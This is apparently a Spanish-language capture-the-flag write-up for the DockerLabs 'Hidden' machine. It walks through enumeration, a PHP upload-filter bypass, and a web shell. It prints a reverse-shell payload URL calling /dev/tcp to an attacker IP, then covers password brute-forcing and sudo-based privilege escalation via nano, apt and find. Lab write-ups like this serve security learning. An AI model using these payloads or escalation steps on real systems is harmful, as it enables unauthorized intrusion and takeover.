Write Up Maquina Hidden #dockerlabs.es
Reconocimiento
En lo personal me gusta realizar lo anterior para cuando haga un tradicional "ls" pueda visualizar rápidamente que he realizado, si es que hice alguna pausa para seguir trabajando.
Bien, continuamos...
Enumeración
Escaneo de puertos con Nmap
Nmap nos retorna 1 solo puerto, el puerto 80
Servicios y versiones con Nmap
Encontramos que tiene corriendo un servicio de Apache versión 2.4.52.
Lo primero que podríamos hacer es verificar en Google vulnerabilidades para estas versiones, en mi caso realice una búsqueda superficial ...
Segundo y muy importante es intentar acceder al sitio:
Parece que hay sucediendo algo que no esperábamos hasta el momento... y es que al dar entre a la dirección del sitio web la maquina, no nos manda absolutamente nada...
Ahora si vamos a explorar un poco el sitio.
Te recomiendo que no seas tímido ROMPE si quieres, y lo que quieras...
Mientras estamos explorando, picando e intentando romper el sitio... podemos dejar realizando algunos analisis como atacantes:
1- Revisar tecnologías con Wappalizer:
Vamos al sitio y para ello elegimos el plugin de Wappalizer
2- Revisar tecnologías con Whatweb
Para realizar fuzzing tenemos algunas alternativas, mis favoritas son gobuster y wfuzz, aún que esta otras como fuff, dirbuster entre otras.
- Directorios y archivos
...
Después de un rato, yo cuando menos no encontré algo que pudiera explotar, si continuo y no hallo algo más tendré que regresar a este punto...
- Subdominios
Tenemos un subdominio, este hay que agregarlo a nuestra IP en el archivo /etc/hosts:
¿Que podemos hacer aquí?
Intentar subir archivos maliciosos, como por ejemplo en PHP.
Explotación
Vamos a intentar subir un archivo malicioso, yo ya tengo uno para este tipo de casos:
Vamos a intentar subirlo:
Damos "Subir archivo":
Existen técnicas para conseguir subir un archivo PHP, para ello vamos a tener que abrir Burpsuite como proxy e intentamos recibir la petición de la subida del archivo:
1- Configurando Burpsuite con FoxyProxy:
2- Activar proxy en BurpSuite:
3- Petición:
Yo suelo enviar la petición al repeater (Ctrl + R) esto para poder manipular fácilmente una nueva petición sin tener que ir al sitio, elegir un archivo y darle "Subir Archivo".
Ahora desde aquí, hay 2 cosas que quiero intentar:
1- Subir el archivo con otra extensión valida para leer archivos PHP.
2- Jugar con el Content-Type para ver si permite acepta el archivo PHP.
Intentemos lo primero.
Hay varias extensiones de PHP que son validas:
Referencia: File Upload | HackTricks
...Voy a cambiar el parámetro "filename" de php a php2 y le dare a "send":
Tal parece que si le gusto:
¿Pero ahora? ¿Donde lo subió?
Bien, fuzzing!
Excelente!
Ahora vemos si accedemos al famosisismo whoami:
Parece ser que no le gustó... bueno hay que seguir intentando con diferentes extensiones...
...
Vaya
Después de todos estos intentos:
Por fin pude obtener una respuesta positiva:
ReverseShell
Maquina victima:
Payload:
http://dev.hidden.lab/uploads/cmd.phtml?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/443%200%3E%261%22
OJO: revisa que la IP coincida con la tuya.
Maquina atacante:
Estamos dentro!
Post-Explotación
Ya estamos dentro ¿Ahora que?
Bien, hay que indagar los archivos del sistema para ver si encontramos archivos de configuración donde pudiéramos encontrar algunas credenciales, esto en los sitios, ya que, recordemos que somos www-data, que generalmente no tiene tantos privilegios.
Full Stty
OJO: aquí me equivoque, lo correcto es:
reset xterm
OJO: yo aqui utilizo 33 x 107 en mi acutal stty, tu puedes ver cuantos renglones y columnas manejas con:
stty size
Ahora si, podemos hacer arriba, abajo, Ctrl + L, Ctrl + C sin que se nos vaya al car4j0 la terminal comprometida.
Usuarios
Bien, tenemos 3 usuarios aparte de www-data y root:
- bobby
- cafetero
- john
Vamos a ver si podemos acceder a /etc/passwd y /etc/shadow, de esta manera pudiéramos realizar fuerza bruta:
Una herramienta que hable hace poco en Instagram (link aquí) de fuerza bruta fue de suBF.sh
Veamos si tenemos nano,
Si si tenemos, vamos el texto hacia un archivo suBF.sh en la maquina victima:
link aquí
Excelente!
Ya tenemos nuestra herramienta de fuerza bruta, pero, falta una cosa
Para poder utilizar esta herramienta, necesitamos un diccionario.
Aquí el problema es, ¿Como paso el archivo? ya que no tengo wget ni curl.
Además, el archivo rockyou.txt de nuestra maquina, es grande.
Después de pensar un poco, recordé que podemos subir archivos, de la misma manera que subimos nuestro archivo malicioso en PHP, podríamos subir un mini rockyou, esperando que sea suficiente, pensé en al menos 1000 líneas.
Ahora a subirlo
Pues si, si me dejo
Ahora si, vamos a utilizar la fuerza bruta...
Para nuestra suerte conseguimos bruteforcear (vaya pikinglish bien poderoso) la contraseña del usuario cafetero
Si te llega a pasar que a mi, escribes y se hace popo todo, solo ejecuta correctamente (no como mis 1000 intentos):
script /dev/null -c bash
Y ya tendrías en teoría una full tty
Buscando la escalada de privilegios
Podemos a través de sudoers, ejecutar nano con el usuario de john:
Vamos a ver si podemos brincar de usuario:
Recordemos que podemos obtener información de binarios muy valiosa en GTFOBINS
Referencia: nano | GTFOBins
OJO: después de darle enter al comando en amarillo, hice un reset y di enter.
Ahora somos el usuario john, veremos si ahora si podemos ser root:
Vale, podemos ejecutar como el usuario bobby el comando apt a través de sudoers: vamos a gtfobins para ver que podemos hacer desde aquí:
Tenemos algunas opciones, vamos a ver ejecutarlas:
Damos enter:
Bien ahora somos bobby:
Excelente ahora como bobby, podemos ejecutar como root el comando find,
Vemos que podemos hacer con esto:
Lo intentamos
Y somos finalmente root.
Hemos conseguido la resolución y hackeo de la maquina Hidden, muy guapa.
Espero que este WriteUp te halla servidor para seguir aprendiendo de hacking.
Saludos.
Comentarios
Publicar un comentario